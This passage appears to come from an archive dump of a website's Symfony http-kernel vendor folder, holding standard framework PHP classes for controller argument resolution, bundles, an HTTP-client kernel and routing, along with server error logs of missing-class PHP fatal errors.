\InvalidArgumentException(sprintf('"%s::resolve()" must yield at least one value.', get_debug_type($resolver))); } } throw new \RuntimeException(sprintf('Controller "%s" requires that you provide a value for the "$%s" argument. Either the argument is nullable and no null value has been provided, no default value has been provided or there is a non-optional argument after this one.', $this->getPrettyName($controller), $metadata->getName())); } return $arguments; } /** * @return iterable */ public static function getDefaultArgumentValueResolvers(): iterable { return [ new RequestAttributeValueResolver(), new RequestValueResolver(), new SessionValueResolver(), new DefaultValueResolver(), new VariadicValueResolver(), ]; } private function getPrettyName($controller): string { if (\is_array($controller)) { if (\is_object($controller[0])) { $controller[0] = get_debug_type($controller[0]); } return $controller[0].'::'.$controller[1]; } if (\is_object($controller)) { return get_debug_type($controller); } return $controller; } } http-kernel/Controller/ArgumentValueResolverInterface.php000064400000001734151113511560017763 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; /** * Responsible for resolving the value of an argument based on its metadata. * * @author Iltar van der Berg * * @deprecated since Symfony 6.2, implement ValueResolverInterface instead */ interface ArgumentValueResolverInterface { /** * Whether this resolver can resolve the value for the given ArgumentMetadata. */ public function supports(Request $request, ArgumentMetadata $argument): bool; /** * Returns the possible value(s). */ public function resolve(Request $request, ArgumentMetadata $argument): iterable; } http-kernel/Controller/TraceableArgumentResolver.php000064400000002401151113511560016740 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\Stopwatch\Stopwatch; /** * @author Fabien Potencier */ class TraceableArgumentResolver implements ArgumentResolverInterface { private ArgumentResolverInterface $resolver; private Stopwatch $stopwatch; public function __construct(ArgumentResolverInterface $resolver, Stopwatch $stopwatch) { $this->resolver = $resolver; $this->stopwatch = $stopwatch; } /** * @param \ReflectionFunctionAbstract|null $reflector */ public function getArguments(Request $request, callable $controller/* , \ReflectionFunctionAbstract $reflector = null */): array { $reflector = 2 < \func_num_args() ? func_get_arg(2) : null; $e = $this->stopwatch->start('controller.get_arguments'); try { return $this->resolver->getArguments($request, $controller, $reflector); } finally { $e->stop(); } } } http-kernel/Controller/error_log000064400000012767151113511560013055 0ustar00[20-Nov-2025 06:14:12 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/TraceableArgumentResolver.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/TraceableArgumentResolver.php on line 20 [20-Nov-2025 06:15:12 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ControllerResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ControllerResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ControllerResolver.php on line 24 [20-Nov-2025 06:23:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Controller\ControllerResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ContainerControllerResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ContainerControllerResolver.php on line 24 [20-Nov-2025 06:24:32 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ControllerResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/TraceableControllerResolver.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/TraceableControllerResolver.php on line 20 [25-Nov-2025 02:34:23 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Controller\ControllerResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ContainerControllerResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ContainerControllerResolver.php on line 24 [25-Nov-2025 03:01:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver.php on line 33 [25-Nov-2025 03:04:17 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/TraceableArgumentResolver.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/TraceableArgumentResolver.php on line 20 [25-Nov-2025 03:04:30 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ControllerResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/TraceableControllerResolver.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/TraceableControllerResolver.php on line 20 [25-Nov-2025 04:34:11 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ControllerResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ControllerResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ControllerResolver.php on line 24 [25-Nov-2025 23:06:08 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ControllerResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/TraceableControllerResolver.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/TraceableControllerResolver.php on line 20 [26-Nov-2025 01:30:47 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver.php on line 33 [26-Nov-2025 01:35:12 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Controller\ControllerResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ContainerControllerResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ContainerControllerResolver.php on line 24 [26-Nov-2025 01:35:55 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ControllerResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ControllerResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ControllerResolver.php on line 24 [26-Nov-2025 01:37:58 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/TraceableArgumentResolver.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/TraceableArgumentResolver.php on line 20 http-kernel/Controller/ControllerReference.php000064400000002432151113511560015577 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller; use Symfony\Component\HttpKernel\Fragment\FragmentRendererInterface; /** * Acts as a marker and a data holder for a Controller. * * Some methods in Symfony accept both a URI (as a string) or a controller as * an argument. In the latter case, instead of passing an array representing * the controller, you can use an instance of this class. * * @author Fabien Potencier * * @see FragmentRendererInterface */ class ControllerReference { public $controller; public $attributes = []; public $query = []; /** * @param string $controller The controller name * @param array $attributes An array of parameters to add to the Request attributes * @param array $query An array of parameters to add to the Request query string */ public function __construct(string $controller, array $attributes = [], array $query = []) { $this->controller = $controller; $this->attributes = $attributes; $this->query = $query; } } http-kernel/Controller/ValueResolverInterface.php000064400000001311151113511560016247 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; /** * Responsible for resolving the value of an argument based on its metadata. * * @author Nicolas Grekas */ interface ValueResolverInterface { /** * Returns the possible value(s). */ public function resolve(Request $request, ArgumentMetadata $argument): iterable; } http-kernel/Controller/TraceableControllerResolver.php000064400000002041151113511560017301 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\Stopwatch\Stopwatch; /** * @author Fabien Potencier */ class TraceableControllerResolver implements ControllerResolverInterface { private ControllerResolverInterface $resolver; private Stopwatch $stopwatch; public function __construct(ControllerResolverInterface $resolver, Stopwatch $stopwatch) { $this->resolver = $resolver; $this->stopwatch = $stopwatch; } public function getController(Request $request): callable|false { $e = $this->stopwatch->start('controller.get_callable'); try { return $this->resolver->getController($request); } finally { $e->stop(); } } } http-kernel/Bundle/AbstractBundle.php000064400000003610151113511560013617 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Bundle; use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator; use Symfony\Component\DependencyInjection\Container; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Extension\ConfigurableExtensionInterface; use Symfony\Component\DependencyInjection\Extension\ExtensionInterface; use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; /** * A Bundle that provides configuration hooks. * * @author Yonel Ceruto */ abstract class AbstractBundle extends Bundle implements ConfigurableExtensionInterface { protected string $extensionAlias = ''; public function configure(DefinitionConfigurator $definition): void { } public function prependExtension(ContainerConfigurator $container, ContainerBuilder $builder): void { } public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void { } public function getContainerExtension(): ?ExtensionInterface { if ('' === $this->extensionAlias) { $this->extensionAlias = Container::underscore(preg_replace('/Bundle$/', '', $this->getName())); } return $this->extension ??= new BundleExtension($this, $this->extensionAlias); } public function getPath(): string { if (null === $this->path) { $reflected = new \ReflectionObject($this); // assume the modern directory structure by default $this->path = \dirname($reflected->getFileName(), 2); } return $this->path; } } http-kernel/Bundle/BundleExtension.php000064400000004262151113511570014035 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Bundle; use Symfony\Component\Config\Definition\Configuration; use Symfony\Component\Config\Definition\ConfigurationInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Extension\ConfigurableExtensionInterface; use Symfony\Component\DependencyInjection\Extension\Extension; use Symfony\Component\DependencyInjection\Extension\ExtensionTrait; use Symfony\Component\DependencyInjection\Extension\PrependExtensionInterface; use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; /** * @author Yonel Ceruto * * @internal */ class BundleExtension extends Extension implements PrependExtensionInterface { use ExtensionTrait; public function __construct( private ConfigurableExtensionInterface $subject, private string $alias, ) { } public function getConfiguration(array $config, ContainerBuilder $container): ?ConfigurationInterface { return new Configuration($this->subject, $container, $this->getAlias()); } public function getAlias(): string { return $this->alias; } public function prepend(ContainerBuilder $container): void { $callback = function (ContainerConfigurator $configurator) use ($container) { $this->subject->prependExtension($configurator, $container); }; $this->executeConfiguratorCallback($container, $callback, $this->subject); } public function load(array $configs, ContainerBuilder $container): void { $config = $this->processConfiguration($this->getConfiguration([], $container), $configs); $callback = function (ContainerConfigurator $configurator) use ($config, $container) { $this->subject->loadExtension($config, $configurator, $container); }; $this->executeConfiguratorCallback($container, $callback, $this->subject); } } http-kernel/Bundle/error_log000064400000007151151113511570012133 0ustar00[19-Nov-2025 05:16:01 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Bundle\Bundle" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/AbstractBundle.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/AbstractBundle.php on line 26 [19-Nov-2025 12:09:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Bundle\Bundle" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/AbstractBundle.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/AbstractBundle.php on line 26 [19-Nov-2025 12:09:59 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DependencyInjection\Extension\Extension" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/BundleExtension.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/BundleExtension.php on line 28 [19-Nov-2025 12:12:06 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\ContainerAwareInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/BundleInterface.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/BundleInterface.php on line 23 [20-Nov-2025 05:08:21 UTC] PHP Fatal error: Trait "Symfony\Component\DependencyInjection\ContainerAwareTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/Bundle.php on line 25 [25-Nov-2025 02:56:22 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DependencyInjection\Extension\Extension" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/BundleExtension.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/BundleExtension.php on line 28 [25-Nov-2025 03:31:49 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Bundle\Bundle" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/AbstractBundle.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/AbstractBundle.php on line 26 [25-Nov-2025 06:30:03 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\ContainerAwareInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/BundleInterface.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/BundleInterface.php on line 23 [26-Nov-2025 00:38:37 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\ContainerAwareInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/BundleInterface.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/BundleInterface.php on line 23 [26-Nov-2025 01:55:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Bundle\Bundle" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/AbstractBundle.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/AbstractBundle.php on line 26 [26-Nov-2025 02:04:16 UTC] PHP Fatal error: Trait "Symfony\Component\DependencyInjection\ContainerAwareTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Bundle/Bundle.php on line 25 http-kernel/Bundle/BundleInterface.php000064400000003021151113511570013751 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Bundle; use Symfony\Component\DependencyInjection\ContainerAwareInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Extension\ExtensionInterface; /** * BundleInterface. * * @author Fabien Potencier */ interface BundleInterface extends ContainerAwareInterface { /** * Boots the Bundle. * * @return void */ public function boot(); /** * Shutdowns the Bundle. * * @return void */ public function shutdown(); /** * Builds the bundle. * * It is only ever called once when the cache is empty. * * @return void */ public function build(ContainerBuilder $container); /** * Returns the container extension that should be implicitly loaded. */ public function getContainerExtension(): ?ExtensionInterface; /** * Returns the bundle name (the class short name). */ public function getName(): string; /** * Gets the Bundle namespace. */ public function getNamespace(): string; /** * Gets the Bundle directory path. * * The path should always be returned as a Unix path (with /). */ public function getPath(): string; } http-kernel/Bundle/Bundle.php000064400000010211151113511570012127 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Bundle; use Symfony\Component\Console\Application; use Symfony\Component\DependencyInjection\Container; use Symfony\Component\DependencyInjection\ContainerAwareTrait; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Extension\ExtensionInterface; /** * An implementation of BundleInterface that adds a few conventions for DependencyInjection extensions. * * @author Fabien Potencier */ abstract class Bundle implements BundleInterface { use ContainerAwareTrait; protected $name; protected $extension; protected $path; private string $namespace; /** * @return void */ public function boot() { } /** * @return void */ public function shutdown() { } /** * This method can be overridden to register compilation passes, * other extensions, ... * * @return void */ public function build(ContainerBuilder $container) { } /** * Returns the bundle's container extension. * * @throws \LogicException */ public function getContainerExtension(): ?ExtensionInterface { if (null === $this->extension) { $extension = $this->createContainerExtension(); if (null !== $extension) { if (!$extension instanceof ExtensionInterface) { throw new \LogicException(sprintf('Extension "%s" must implement Symfony\Component\DependencyInjection\Extension\ExtensionInterface.', get_debug_type($extension))); } // check naming convention $basename = preg_replace('/Bundle$/', '', $this->getName()); $expectedAlias = Container::underscore($basename); if ($expectedAlias != $extension->getAlias()) { throw new \LogicException(sprintf('Users will expect the alias of the default extension of a bundle to be the underscored version of the bundle name ("%s"). You can override "Bundle::getContainerExtension()" if you want to use "%s" or another alias.', $expectedAlias, $extension->getAlias())); } $this->extension = $extension; } else { $this->extension = false; } } return $this->extension ?: null; } public function getNamespace(): string { if (!isset($this->namespace)) { $this->parseClassName(); } return $this->namespace; } public function getPath(): string { if (null === $this->path) { $reflected = new \ReflectionObject($this); $this->path = \dirname($reflected->getFileName()); } return $this->path; } /** * Returns the bundle name (the class short name). */ final public function getName(): string { if (null === $this->name) { $this->parseClassName(); } return $this->name; } /** * @return void */ public function registerCommands(Application $application) { } /** * Returns the bundle's container extension class. */ protected function getContainerExtensionClass(): string { $basename = preg_replace('/Bundle$/', '', $this->getName()); return $this->getNamespace().'\\DependencyInjection\\'.$basename.'Extension'; } /** * Creates the bundle's container extension. */ protected function createContainerExtension(): ?ExtensionInterface { return class_exists($class = $this->getContainerExtensionClass()) ? new $class() : null; } private function parseClassName(): void { $pos = strrpos(static::class, '\\'); $this->namespace = false === $pos ? '' : substr(static::class, 0, $pos); $this->name ??= false === $pos ? static::class : substr(static::class, $pos + 1); } } http-kernel/Resources/welcome.html.php000064400000077434151113511570014101 0ustar00 Welcome to Symfony!

You're seeing this page because you haven't configured any homepage URL and debug mode is enabled.

Welcome to Symfony

Your application is now ready and you can start working on it.

http-kernel/Resources/error_log000064400000005076151113511570012700 0ustar00[19-Nov-2025 15:55:46 UTC] PHP Warning: Undefined variable $docVersion in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 72 [19-Nov-2025 15:55:46 UTC] PHP Warning: Undefined variable $version in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 81 [19-Nov-2025 15:55:46 UTC] PHP Warning: Undefined variable $projectDir in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 89 [19-Nov-2025 15:55:46 UTC] PHP Warning: Undefined variable $docVersion in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 102 [19-Nov-2025 15:55:46 UTC] PHP Warning: Undefined variable $docVersion in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 109 [25-Nov-2025 02:55:50 UTC] PHP Warning: Undefined variable $docVersion in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 72 [25-Nov-2025 02:55:50 UTC] PHP Warning: Undefined variable $version in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 81 [25-Nov-2025 02:55:50 UTC] PHP Warning: Undefined variable $projectDir in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 89 [25-Nov-2025 02:55:50 UTC] PHP Warning: Undefined variable $docVersion in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 102 [25-Nov-2025 02:55:50 UTC] PHP Warning: Undefined variable $docVersion in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 109 [26-Nov-2025 00:38:40 UTC] PHP Warning: Undefined variable $docVersion in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 72 [26-Nov-2025 00:38:40 UTC] PHP Warning: Undefined variable $version in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 81 [26-Nov-2025 00:38:40 UTC] PHP Warning: Undefined variable $projectDir in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 89 [26-Nov-2025 00:38:40 UTC] PHP Warning: Undefined variable $docVersion in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 102 [26-Nov-2025 00:38:40 UTC] PHP Warning: Undefined variable $docVersion in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Resources/welcome.html.php on line 109 http-kernel/HttpClientKernel.php000064400000007536151113511570012744 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel; use Symfony\Component\HttpClient\HttpClient; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\ResponseHeaderBag; use Symfony\Component\Mime\Part\AbstractPart; use Symfony\Component\Mime\Part\DataPart; use Symfony\Component\Mime\Part\Multipart\FormDataPart; use Symfony\Component\Mime\Part\TextPart; use Symfony\Contracts\HttpClient\HttpClientInterface; // Help opcache.preload discover always-needed symbols class_exists(ResponseHeaderBag::class); /** * An implementation of a Symfony HTTP kernel using a "real" HTTP client. * * @author Fabien Potencier */ final class HttpClientKernel implements HttpKernelInterface { private HttpClientInterface $client; public function __construct(HttpClientInterface $client = null) { if (null === $client && !class_exists(HttpClient::class)) { throw new \LogicException(sprintf('You cannot use "%s" as the HttpClient component is not installed. Try running "composer require symfony/http-client".', __CLASS__)); } $this->client = $client ?? HttpClient::create(); } public function handle(Request $request, int $type = HttpKernelInterface::MAIN_REQUEST, bool $catch = true): Response { $headers = $this->getHeaders($request); $body = ''; if (null !== $part = $this->getBody($request)) { $headers = array_merge($headers, $part->getPreparedHeaders()->toArray()); $body = $part->bodyToIterable(); } $response = $this->client->request($request->getMethod(), $request->getUri(), [ 'headers' => $headers, 'body' => $body, ] + $request->attributes->get('http_client_options', [])); $response = new Response($response->getContent(!$catch), $response->getStatusCode(), $response->getHeaders(!$catch)); $response->headers->remove('X-Body-File'); $response->headers->remove('X-Body-Eval'); $response->headers->remove('X-Content-Digest'); $response->headers = new class($response->headers->all()) extends ResponseHeaderBag { protected function computeCacheControlValue(): string { return $this->getCacheControlHeader(); // preserve the original value } }; return $response; } private function getBody(Request $request): ?AbstractPart { if (\in_array($request->getMethod(), ['GET', 'HEAD'])) { return null; } if (!class_exists(AbstractPart::class)) { throw new \LogicException('You cannot pass non-empty bodies as the Mime component is not installed. Try running "composer require symfony/mime".'); } if ($content = $request->getContent()) { return new TextPart($content, 'utf-8', 'plain', '8bit'); } $fields = $request->request->all(); foreach ($request->files->all() as $name => $file) { $fields[$name] = DataPart::fromPath($file->getPathname(), $file->getClientOriginalName(), $file->getClientMimeType()); } return new FormDataPart($fields); } private function getHeaders(Request $request): array { $headers = []; foreach ($request->headers as $key => $value) { $headers[$key] = $value; } $cookies = []; foreach ($request->cookies->all() as $name => $value) { $cookies[] = $name.'='.$value; } if ($cookies) { $headers['cookie'] = implode('; ', $cookies); } return $headers; } } http-kernel/EventListener/RouterListener.php000064400000014514151113511570015274 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Psr\Log\LoggerInterface; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Event\ExceptionEvent; use Symfony\Component\HttpKernel\Event\RequestEvent; use Symfony\Component\HttpKernel\Exception\BadRequestHttpException; use Symfony\Component\HttpKernel\Exception\MethodNotAllowedHttpException; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; use Symfony\Component\HttpKernel\Kernel; use Symfony\Component\HttpKernel\KernelEvents; use Symfony\Component\Routing\Exception\MethodNotAllowedException; use Symfony\Component\Routing\Exception\NoConfigurationException; use Symfony\Component\Routing\Exception\ResourceNotFoundException; use Symfony\Component\Routing\Matcher\RequestMatcherInterface; use Symfony\Component\Routing\Matcher\UrlMatcherInterface; use Symfony\Component\Routing\RequestContext; use Symfony\Component\Routing\RequestContextAwareInterface; /** * Initializes the context from the request and sets request attributes based on a matching route. * * @author Fabien Potencier * @author Yonel Ceruto * * @final */ class RouterListener implements EventSubscriberInterface { private RequestMatcherInterface|UrlMatcherInterface $matcher; private RequestContext $context; private ?LoggerInterface $logger; private RequestStack $requestStack; private ?string $projectDir; private bool $debug; /** * @param RequestContext|null $context The RequestContext (can be null when $matcher implements RequestContextAwareInterface) * * @throws \InvalidArgumentException */ public function __construct(UrlMatcherInterface|RequestMatcherInterface $matcher, RequestStack $requestStack, RequestContext $context = null, LoggerInterface $logger = null, string $projectDir = null, bool $debug = true) { if (null === $context && !$matcher instanceof RequestContextAwareInterface) { throw new \InvalidArgumentException('You must either pass a RequestContext or the matcher must implement RequestContextAwareInterface.'); } $this->matcher = $matcher; $this->context = $context ?? $matcher->getContext(); $this->requestStack = $requestStack; $this->logger = $logger; $this->projectDir = $projectDir; $this->debug = $debug; } private function setCurrentRequest(?Request $request): void { if (null !== $request) { try { $this->context->fromRequest($request); } catch (\UnexpectedValueException $e) { throw new BadRequestHttpException($e->getMessage(), $e, $e->getCode()); } } } /** * After a sub-request is done, we need to reset the routing context to the parent request so that the URL generator * operates on the correct context again. */ public function onKernelFinishRequest(): void { $this->setCurrentRequest($this->requestStack->getParentRequest()); } public function onKernelRequest(RequestEvent $event): void { $request = $event->getRequest(); $this->setCurrentRequest($request); if ($request->attributes->has('_controller')) { // routing is already done return; } // add attributes based on the request (routing) try { // matching a request is more powerful than matching a URL path + context, so try that first if ($this->matcher instanceof RequestMatcherInterface) { $parameters = $this->matcher->matchRequest($request); } else { $parameters = $this->matcher->match($request->getPathInfo()); } $this->logger?->info('Matched route "{route}".', [ 'route' => $parameters['_route'] ?? 'n/a', 'route_parameters' => $parameters, 'request_uri' => $request->getUri(), 'method' => $request->getMethod(), ]); $request->attributes->add($parameters); unset($parameters['_route'], $parameters['_controller']); $request->attributes->set('_route_params', $parameters); } catch (ResourceNotFoundException $e) { $message = sprintf('No route found for "%s %s"', $request->getMethod(), $request->getUriForPath($request->getPathInfo())); if ($referer = $request->headers->get('referer')) { $message .= sprintf(' (from "%s")', $referer); } throw new NotFoundHttpException($message, $e); } catch (MethodNotAllowedException $e) { $message = sprintf('No route found for "%s %s": Method Not Allowed (Allow: %s)', $request->getMethod(), $request->getUriForPath($request->getPathInfo()), implode(', ', $e->getAllowedMethods())); throw new MethodNotAllowedHttpException($e->getAllowedMethods(), $message, $e); } } public function onKernelException(ExceptionEvent $event): void { if (!$this->debug || !($e = $event->getThrowable()) instanceof NotFoundHttpException) { return; } if ($e->getPrevious() instanceof NoConfigurationException) { $event->setResponse($this->createWelcomeResponse()); } } public static function getSubscribedEvents(): array { return [ KernelEvents::REQUEST => [['onKernelRequest', 32]], KernelEvents::FINISH_REQUEST => [['onKernelFinishRequest', 0]], KernelEvents::EXCEPTION => ['onKernelException', -64], ]; } private function createWelcomeResponse(): Response { $version = Kernel::VERSION; $projectDir = realpath((string) $this->projectDir).\DIRECTORY_SEPARATOR; $docVersion = substr(Kernel::VERSION, 0, 3); ob_start(); include \dirname(__DIR__).'/Resources/welcome.html.php'; return new Response(ob_get_clean(), Response::HTTP_NOT_FOUND); } } http-kernel/EventListener/DumpListener.php000064400000003701151113511570014715 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Symfony\Component\Console\ConsoleEvents; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\VarDumper\Cloner\ClonerInterface; use Symfony\Component\VarDumper\Dumper\DataDumperInterface; use Symfony\Component\VarDumper\Server\Connection; use Symfony\Component\VarDumper\VarDumper; /** * Configures dump() handler. * * @author Nicolas Grekas */ class DumpListener implements EventSubscriberInterface { private ClonerInterface $cloner; private DataDumperInterface $dumper; private ?Connection $connection; public 